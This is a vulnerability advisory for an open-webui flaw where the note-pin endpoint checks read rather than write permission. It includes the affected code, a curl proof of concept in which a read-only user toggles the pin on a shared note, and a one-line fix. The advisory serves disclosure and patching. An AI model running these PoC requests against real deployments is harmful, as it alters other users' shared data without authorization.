CVE-2026-45316 — open-webui

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
    # ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',        # BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)
    
    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation

Compare with update endpoint (correct, line 318-327):

async def update_note_by_id(...):
    # ...
    and not await AccessGrants.has_access(
        permission='write',        # correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup:

1. UserA creates a note
2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result:

• Step 1: UserB reads note (READ) -> 200 OK ✓
• Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
• Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
• Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

Impact

• A user with only read access to a shared note can toggle its is_pinned status
• This modifies the note's state without write authorization
• The pin status change is visible to the note owner and all other users with access
• Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

Fix

One-line fix — change permission='read' to permission='write' in pin_note_by_id:

# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.